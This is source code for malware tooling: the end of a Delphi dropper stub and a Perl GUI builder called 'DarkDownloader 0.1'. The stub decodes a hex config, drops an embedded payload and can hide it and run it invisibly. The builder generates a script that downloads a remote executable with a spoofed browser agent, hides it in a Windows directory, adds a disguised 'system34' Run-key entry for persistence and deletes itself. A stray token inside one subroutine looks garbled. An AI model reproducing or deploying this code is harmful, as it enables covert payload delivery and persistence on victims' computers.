  begin
    cantidad := Length(texto);
    for num := 1 to cantidad div 2 do
    begin
      aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
      Result := Result + aca;
    end;
  end;

end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
  data: DWORD;
  uno: DWORD;
  dos: DWORD;
  cinco2: string;
  nombre: string;
  tipodecarga: string;
  ruta: string;
  ocultar: string;

begin

  Result := True;

  cinco2 := cinco;
  cinco2 := regex(cinco2, '[63686175]', '[63686175]');
  cinco2 := dhencode(cinco2, 'decode');
  cinco2 := LowerCase(cinco2);

  nombre := regex(cinco2, '[nombre]', '[nombre]');
  tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
  ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
  ocultar := regex(cinco2, '[hide]', '[hide]');

  data := FindResource(0, cinco, cuatro);

  uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
    CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
  WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
    dos, nil);

  CloseHandle(uno);

  if (ocultar = '1') then
  begin
    SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
  end;

  if (tipodecarga = 'normal') then
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
  end
  else
  begin
    ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
  end;

end;

begin

  EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?

#!usr/bin/perl
#DarkDownloader 0.1
#Coded By Doddy H
#Command : perl2exe -gui gen_download.pl

use Tk;

my $color_fondo = "black";
my $color_texto = "green";

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $ven =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ven->geometry("340x320+20+20");
$ven->resizable( 0, 0 );
$ven->title("DarkDownloader 0.1");

$ven->Label(
    -text       => "Link : ",
    -font       => "Impact",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 20 );
my $link = $ven->Entry(
    -text       => "http://localhost/test.exe",
    -width      => 40,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 60, -y => 25 );

$ven->Label(
    -text       => "-- == Options == --",
    -background => $color_fondo,
    -foreground => $color_texto,
    -font       => "Impact"
)->place( -x => 90, -y => 60 );

$ven->Checkbutton(
    -activebackground => $color_texto,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -text             => "Save File with this name : ",
    -variable         => \$op_save_file_name
)->place( -x => 20, -y => 100 );
my $save_file_with_name = $ven->Entry(
    -width      => 20,
    -text       => "testar.exe",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 170, -y => 100 );

$ven->Checkbutton(
    -activebackground => $color_texto,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -text             => "Save File in this directory : ",
    -variable         => \$op_save_in_dir
)->place( -x => 20, -y => 130 );
my $save_file_in_this_dir = $ven->Entry(
    -background => $color_fondo,
    -foreground => $color_texto,
    -width      => 20,
    -text       => "C:/WINDOWS/sexnow/"
)->place( -x => 170, -y => 130 );

$ven->Checkbutton(
    -activebackground => $color_texto,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -text             => "Hide File",
    -variable         => \$op_hide
)->place( -x => 20, -y => 160 );

$ven->Checkbutton(
    -activebackground => $color_texto,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -text             => "Load each time you start Windows",
    -variable         => \$op_regedit
)->place( -x => 20, -y => 190 );

$ven->Checkbutton(
    -activebackground => $color_texto,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -text             => "AutoDelete",
    -variable         => \$op_chau
)->place( -x => 20, -y => 220 );

$ven->Button(
    -command          => \&genow,
    -activebackground => $color_texto,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -text             => "Generate !",
    -font             => "Impact",
    -width            => 30
)->place( -x => 40, -y => 260 );

MainLoop;

sub genow {

    my $code_now = q(#!usr/bin/perl
#DarkDownloader 0.1
#Coded By Doddy H

use LWP::UserAgent;
use File::Basename;
use File::Copy qw(move);
use Win32::File;
use Win32::TieRegistry( Delimiter => "/" );
use Cwd;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

# Config

my $link                      = "ACA_VA_TU_LINK";
my $op_bajar_con_este_nombre  = ACA_VA_TU_OP_NOMBRE;
my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX";
my $op_en_este_dir            = ACA_VA_TU_OP_DIR;
my $op_en_este_dirx           = "ACA_VA_TU_OP_DIRX";
my $op_ocultar_archivos       = ACA_VA_TU_OP_HIDE;
my $op_agregar_al_registro    = ACA_VA_TU_OP_REG;
my $op_chau                   = ACA_VA_TU_CHAU;

#

# Download File

if ( $op_bajar_con_este_nombre eq 1 ) {
    download( $link, $op_bajar_con_este_nombrex );
}
else {
    download( $link, basename($link) );
}

# Change Directory

if ( $op_en_este_dir eq 1 ) {

    unless ( -d $op_en_este_dirx ) {
        mkdir( $op_en_este_dirx, 777 );
    }

    if ( $op_bajar_con_este_nombre eq 1 ) {
        move( $op_bajar_con_este_nombrex,
            $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex );
    }
    else {
        move( basename($link), $op_en_este_dirx );
    }

}

# HIDE FILES

if ( $op_ocultar_archivos eq 1 ) {

    hideit( basename($link),                                     "hide" );
    hideit( $op_en_este_dirx,                                    "hide" );
    hideit( $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex, "hide" );

}

# REG ADD

if ( $op_agregar_al_registro eq 1 ) {

    if ( $op_bajar_con_este_nombre eq 1 ) {

        if ( $op_en_este_dir eq 1 ) {
            $Registry->{
"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
              } = $op_en_este_dirx
              . "/"
              . $op_bajar_con_este_nombrex;
        }
        else {
            $Registry->{
"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
              } = getcwd()
              . "/"
              . $op_bajar_con_este_nombrex;
        }

    }
    else {

        if ( $op_en_este_dir eq 1 ) {
            $Registry->{
"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
              } = $op_en_este_dirx
              . "/"
              . basename($link);
        }
        else {
            $Registry->{
"LMachine/Software/Microsoft/Windows/CurrentVersion/Run//system34"
              } = getcwd()
              . "/"
              . basename($link);
        }
    }

}

## Boom !

if ( $op_chau eq 1 ) {

    unlink($0);

}

##

sub hideit {
    if ( $_[1] eq "show" ) {
        Win32::File::SetAttributes( $_[0], NORMAL );
    }
    elsif ( $_[1] eq "hide" ) {
   winkey     Win32::File::SetAttributes( $_[0], HIDDEN );
    }
}

sub download {
    if ( $nave->mirror( $_[0], $_[1] ) ) {
        if ( -f $_[1] ) {
            return true;
        }
    }
}

# The End ?);

    my $link     = $link->get;
    my $new_file = $save_file_with_name->get;
    my $new_dir  = $save_file_in_this_dir->get;

    $code_now =~ s/ACA_VA_TU_LINK/$link/;

    if ( $op_save_file_name eq 1 ) {
        $code_now =~ s/ACA_VA_TU_OP_NOMBRE/1/;
    }
    else {
        $code_now =~ s/ACA_VA_TU_OP_NOMBRE/0/;
    }

    $code_now =~ s/ACA_VA_TU_OP_NOMBREX/$new_file/;

    if ( $op_save_in_dir eq 1 ) {
        $code_now =~ s/ACA_VA_TU_OP_DIR/1/;
    }
    else {
        $code_now =~ s/ACA_VA_TU_OP_DIR/0/;
    }

    $code_now =~ s/ACA_VA_TU_OP_DIRX/$new_dir/;

    if ( $op_hide eq 1 ) {
        $code_now =~ s/ACA_VA_TU_OP_HIDE/1/;
    }
    else {
        $code_now =~ s/ACA_VA_TU_OP_HIDE/0/;
    }

    if ( $op_regedit eq 1 ) {
        $code_now =~ s/ACA_VA_TU_OP_REG/1/;
    }
    else {
        $code_now =~ s/ACA_VA_TU_OP_REG/0/;
    }

    if ( $op_chau eq 1 ) {
        $code_now =~ s/ACA_VA_TU_CHAU/1/;
    }
    else {
        $code_now =~ s/ACA_VA_TU_CHAU/0/;
    }

    if ( -f gen_download . pl ) {
        unlink("gen_download.pl");
    }

    open( FILE, ">>gen_download.pl" );
    print FILE $code_now;
    close FILE;

    $ven->Dialog(
        -title            => "Oh Yeah",
        -buttons          => ["OK"],
        -text             => "Enjoy this downloader",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -activebackground => $color_texto
    )->Show();

}

#The End ?